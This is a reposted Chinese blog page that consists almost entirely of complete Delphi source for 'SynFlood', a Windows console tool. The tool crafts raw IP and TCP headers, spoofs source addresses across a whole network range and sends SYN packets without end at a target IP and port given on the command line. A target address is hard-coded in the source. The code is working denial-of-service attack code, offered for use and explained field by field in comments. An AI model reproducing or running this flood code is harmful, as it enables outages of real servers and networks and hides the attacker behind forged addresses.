SynFlood源码

ContractedBlock.gif ExpandedBlockStart.gif Code
Usage: SynFlood -h:IP -p:port 代码:
program SynFlood;

{$APPTYPE CONSOLE}

uses Windows,
Winsock;
//WinSock2;

const
IP_HDRINCL 
= 2// IP Header Include
Header_SEQ 
= $19026695;
SEQ 
= $28376839;
SYN_DEST_IP 
= '172.17.103.127'//被攻击的IP
FAKE_IP 
= '10.168.150.1'//伪装IP的起始值,本程序的伪装IP覆盖一个B类网段

//TCP头 20
type
TCP_HEADER 
= record
th_sport : Word; 
//16位源端口
th_dport : Word; 
//16位目的端口
th_seq : DWORD; 
//32位序列号
th_ack : DWORD; 
//32位确认号
th_lenres : Byte; 
//4位首部长度+6位保留字中的4位
th_flag : Byte; 
//2位保留字+6位标志位 2是SYN,1是FIN,16是ACK探测
th_win : Word; 
//16位窗口大小
th_sum : Word; 
//16位校验和
th_urp : Word; 
//16位紧急数据偏移量
end;

// IP 头 20
type
IP_HEADER 
= record
h_verlen : Byte; 
//4位首部长度+4位IP版本号
tos : Byte; 
//8位服务类型TOS,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
total_len : Word; 
//16位总长度(字节) IP包的长度,若没有特殊选项,一般为20字节长
ident : Word; 
//16位IP包标识,主机使用它唯一确定每个发送的数据报
frag_
and_flags : Word; //Fragment Offset 13 IP数据分割偏移
ttl : Byte; 
//8位生存时间TTL,每通过一个路由器,该数值减一
proto : Byte;
//8位协议号(TCP, UDP 或其他) 比如:ICMP为1,IGMP为2,TCP为6,UDP为17等
checksum : Word; 
//16位IP首部校验和
sourceIP : LongWord; 
//32位源IP地址
destIP : LongWord; 
//32位目的IP地址
end;

//TCP伪头 12
type
PSD_HEADER 
= record
saddr : DWORD; 
//源地址
daddr : DWORD; 
//目的地址
mbz : Byte; 
//置空
ptcl : Byte; 
//协议类型
tcpl : WORD; 
//TCP长度
end;

type
CLIENTPARA 
= record
Port:integer;
IP:
string;
end;

var
clientpa :^CLIENTPARA;
SendSEQ :Integer 
= 0;
TimeOut :Integer 
=5000;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;
stdcall;external 'ws2_32.dll';

function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';

function IntToStr(I: integer): string;
begin
Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L :
= Length(S);
SetLength(Result, L);
Source :
= Pointer(S);
Dest :
= Pointer(Result);
while L <> 0 do
begin
Ch :
= Source^;
if (Ch >= 'A'and (Ch <= 'Z'then Inc(Ch, 32);
Dest^ :
= Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

{
CheckSum:计算校验和的子函数
IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),
然后计算整个IP首部(包括选项)的二进制反码的和
TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。
由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,
在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和
}
function checksum(var Buffer; Size: integer): word;
type
TWordArray 
= array[0..1of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm :
= 0;
iLoop :
= 0;
while Size > 1 do
begin
lSumm :
= lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size :
= Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm :
= (lSumm shr 16+ (lSumm and $FFFF);
lSumm :
= lSumm + (lSumm shr 16);
Result :
= word(not lSumm);
end;

//syn洪水攻击
function SynFloodThreadProc(p:Pointer):LongInt;stdcall;
var
WSAData :TWSAData;
sock :TSocket;
Remote :TSockAddr;
ipHeader :IP_HEADER;
tcpHeader :TCP_HEADER;
psdHeader :PSD_HEADER;
ErrorCode,bOpt,counter,FakeIpNet,FakeIpHost,datasize :integer;
Buf :
array [0..127of char;
//FromIP :string;
begin
Result :
=0;
//建立一个原始套接口
if WSAStartup(MAKEWORD(2,2), WSAData)<>0 then exit;
sock :
=WSASocketA(AF_INET, SOCK_RAW, IPPROTO_RAW, nil0{WSA_FLAG_OVERLAPPED}0);
if sock = INVALID_SOCKET then exit;
//设置ip选项
bOpt :
= 1;
//设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和
if setsockopt(sock,IPPROTO_IP, IP_HDRINCL,@bOpt, SizeOf(bOpt)) = SOCKET_ERROR then exit;

//设置发送超时
//ErrorCode :=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,pchar(TimeOut),sizeof(TimeOut));
//if ErrorCode = SOCKET_ERROR then exit;

Randomize;
FillChar(Remote,sizeof(Remote),#
0);
Remote.sin_family :
=AF_INET;
//Remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
Remote.sin_addr.S_addr :
=inet_addr(pchar(CLIENTPARA(p^).IP));
Remote.sin_port :
=htons(CLIENTPARA(p^).Port);
FakeIpNet:
=inet_addr(FAKE_IP);
FakeIpHost:
=ntohl(FakeIpNet);

//填充IP首部
ipHeader.h_verlen :
=(4 shl 4or (sizeof(ipHeader) div sizeof(LongWord)); //高四位IP版本号,低四位首部长度
ipHeader.total_len :
=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度(字节)
ipHeader.ident:
=1//16位标识
ipHeader.tos :
=0//IP服务类型
ipHeader.frag_
and_flags:=0//段偏移域
ipHeader.ttl:
=128//8位生存时间TTL
ipHeader.proto:
=IPPROTO_TCP; //8位协议(TCP,UDP…) UDP=17 $11
ipHeader.checksum:
=0//16位IP首部校验和
ipHeader.sourceIP:
=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//ipHeader.destIP:=inet_addr(pchar(SYN_DEST_IP)); //32位目的IP地址
ipHeader.destIP:
=inet_addr(pchar(CLIENTPARA(p^).IP));

//随机产生源地址
{FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
ipHeader.sourceIP:=inet_Addr(PChar(FromIP)); //32位源IP地址
ipHeader.destIP:=Remote.sin_addr.S_addr; //32位目的IP地址 
}

//填充TCP首部
tcpHeader.th_sport:
=htons(Random(65536)+1); //随机产生源端口
tcpHeader.th_dport:
=Remote.sin_port; //目的端口号
//tcpHeader.th_sport:=htons(7000); //源端口号
//tcpHeader.th_dport:=htons(8080); //目的端口号
tcpHeader.th_seq:
=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_ack:
=0//ACK序列号置为0
tcpHeader.th_lenres:
=(sizeof(tcpHeader) shr 2 shl 4or 0//TCP长度和保留位
tcpHeader.th_flag:
=2//实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测
tcpHeader.th_win:
=htons(16384); //窗口大小
tcpHeader.th_urp:
=0//紧急偏移量
tcpHeader.th_sum:
=0//校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)
psdHeader.saddr:
=ipHeader.sourceIP; //源地址
psdHeader.daddr:
=ipHeader.destIP; //目的地址
psdHeader.mbz:
=0;
psdHeader.ptcl:
=IPPROTO_TCP; //协议类型
psdHeader.tcpl:
=htons(sizeof(tcpHeader)); //TCP首部长度

while true do
begin
//每发送10,240个报文输出一个标示符
//writeln('.');
for counter:=0 to 10239 do
begin
inc(SendSEQ);
if (SendSEQ=65536then SendSEQ :=1//序列号循环
//更改IP首部
ipHeader.checksum :
=0//16位IP首部校验和
ipHeader.sourceIP :
=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改TCP首部
tcpHeader.th_seq :
=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_sum :
=0//校验和
//更改TCP伪首部
psdHeader.saddr :
=ipHeader.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP伪首部
FillChar(Buf,SizeOf(Buf),#
0);
//将两个字段复制到同一个缓冲区Buf中并计算TCP头校验和
CopyMemory(@Buf[
0],@psdHeader,SizeOf(psdHeader)); //12
CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader)); 
//20
TCPHeader.th_sum:
=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader)); //32

//计算IP头校验和
CopyMemory(@Buf[
0],@ipHeader,SizeOf(ipHeader)); //20
CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); 
//20
FillChar(Buf[SizeOf(ipHeader)
+SizeOf(tcpHeader)],4,#0);
datasize :
=SizeOf(ipHeader)+SizeOf(tcpHeader);
ipHeader.checksum:
=checksum(Buf,datasize); //40

//填充发送缓冲区
CopyMemory(@Buf[
0],@ipHeader,SizeOf(ipHeader)); //20

//发送TCP报文
ErrorCode:
=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));
if ErrorCode=SOCKET_ERROR then exit;
write('.');

end//end for
writeln(
'');
end//end while

closesocket(sock);
WSACleanup();
end;

procedure Usage;
begin
WriteLn(
'SynFlood 0.1 for 2000/XP/2003');
WriteLn(
'http://www.wrsky.com');
WriteLn(
'hnxyy@hotmail.com');
WriteLn(
'QQ:19026695');
WriteLn;
WriteLn(
'Usage: SynFlood -h:IP -p:port');
end;

procedure ParseOption(Cmd, Arg: string);
begin
if arg='' then
begin
Usage;
Halt(
0);
end;
if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.IP :
=arg;
end
else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.Port :
=StrToInt(Arg);
end
else
begin
Usage;
Halt(
0);
end;
end;

procedure ProcessCommandLine;
var
CmdLn: integer;
begin
CmdLn :
= 1;
if (ParamCount<2or (ParamCount>2then
begin
Usage;
Halt(
0);
end;
new(clientpa);
while Length(ParamStr(CmdLn)) <> 0 do
begin
ParseOption(Copy(ParamStr(CmdLn), 
13), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);
end;
end;

var
ThreadID:DWord;
begin
ProcessCommandLine;
CreateThread(
nil0, @SynFloodThreadProc, clientpa, 0, ThreadID);
while True do Sleep(1);
end.

转载于:https://www.cnblogs.com/bsoom/archive/2009/11/14/1603068.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值